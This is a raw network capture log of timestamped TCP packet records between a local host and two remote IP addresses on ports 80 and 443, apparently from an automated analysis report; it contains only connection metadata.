Nov 20, 2024 04:08:10.510488033 CET	62441	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.510961056 CET	62438	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.511049032 CET	443	62438	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.511217117 CET	62438	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.511234045 CET	443	62438	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.515305996 CET	62441	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.515340090 CET	443	62441	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.515876055 CET	62442	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.515893936 CET	443	62442	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.515945911 CET	62442	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.519931078 CET	62442	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.519943953 CET	443	62442	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.526010990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.526027918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.526043892 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.526071072 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.526073933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.526086092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.526102066 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.526103973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.526120901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.526122093 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.526143074 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.526170015 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.534837008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.534852028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.534877062 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.534898996 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.534921885 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.534921885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.534923077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.534938097 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.534955978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.534970045 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.534976959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.534993887 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535006046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535020113 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535026073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535044909 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535072088 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535074949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535093069 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535094976 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535111904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535129070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535129070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535129070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535152912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535167933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535209894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535226107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535243034 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535258055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535263062 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535263062 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535283089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535284996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535300970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535303116 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535329103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535345078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535345078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535345078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535362959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.535389900 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535389900 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.535389900 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.575020075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575092077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.575100899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575117111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575125933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575141907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575150013 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575166941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575181961 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.575187922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575206041 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.575228930 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.575325012 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575421095 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.575448990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575464964 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575474024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575510979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575511932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.575527906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575536013 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.575545073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575556993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.575562954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575582981 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.575603008 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.575622082 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.575797081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575856924 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.575952053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575965881 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.575989962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576004028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576016903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576030970 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576033115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576030970 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576050997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576054096 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576066971 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576083899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576086044 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576107979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576112032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576112032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576126099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576132059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576143026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576157093 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576159954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576175928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576184988 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576184988 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576191902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576204062 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576210022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576221943 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576237917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576251030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576256037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576267004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576282024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576297998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576298952 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576313019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576318979 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576330900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576344967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576344967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576348066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576364040 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576375961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576380014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576390982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576396942 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576422930 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576442003 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576461077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576483965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576499939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576517105 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576531887 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576536894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576553106 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576554060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.576567888 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.576605082 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.577397108 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.577420950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.577435970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.577454090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.577476978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.577491999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.577492952 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.577507973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.577523947 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.577531099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.577547073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.577550888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.577575922 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.577599049 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.577919006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.577979088 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578022957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578037024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578052998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578068972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578072071 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578085899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578093052 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578110933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578116894 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578116894 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578135967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578154087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578166008 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578167915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578185081 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578197002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578219891 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578224897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578236103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578247070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578255892 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578279018 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578279972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578296900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578305960 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578305960 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578314066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578335047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578336000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578361034 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578362942 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578377962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578387022 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578393936 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578406096 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578412056 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578423023 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578428984 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578440905 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578460932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578476906 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578479052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578495979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578511953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578527927 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578531027 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578543901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578557014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578557014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578560114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578577042 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578586102 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578600883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578615904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578619957 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578619957 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578640938 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578641891 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578659058 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578665972 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578675985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578692913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578695059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578710079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.578713894 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578732967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578757048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.578757048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.609651089 CET	443	62438	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.609677076 CET	443	62438	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.609797955 CET	62438	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.609878063 CET	443	62438	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.609945059 CET	62438	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.609956026 CET	443	62438	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.610018015 CET	62438	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.614464998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.614480972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.614514112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.614537954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.614553928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.614561081 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.614569902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.614562035 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.614588022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.614604950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.614631891 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.614631891 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.614631891 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.614672899 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623075962 CET	62438	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.623075962 CET	62438	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.623116970 CET	443	62438	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.623142004 CET	443	62438	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.623461962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623476982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623501062 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623518944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623519897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623528004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623550892 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623581886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623589039 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623599052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623620987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623636007 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623636961 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623651028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623660088 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623667955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623682976 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623684883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623702049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623702049 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623709917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623735905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623739004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623752117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623761892 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623776913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623784065 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623804092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623806953 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623820066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623825073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623835087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623847961 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623861074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623867989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623886108 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623888969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623907089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623923063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623930931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623930931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623939991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.623951912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623970985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.623990059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.654759884 CET	62443	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.654798985 CET	443	62443	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.654891014 CET	62443	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.660602093 CET	62443	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.660639048 CET	443	62443	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.663619041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.663645029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.663661003 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.663681030 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.663686037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.663702011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.663711071 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.663711071 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.663717985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.663724899 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.663738012 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.663742065 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.663753986 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.663757086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.663778067 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.663796902 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.663984060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664024115 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664087057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664100885 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664115906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664128065 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664132118 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664144039 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664146900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664161921 CET	62430	80	192.168.2.4	31.41.244.11
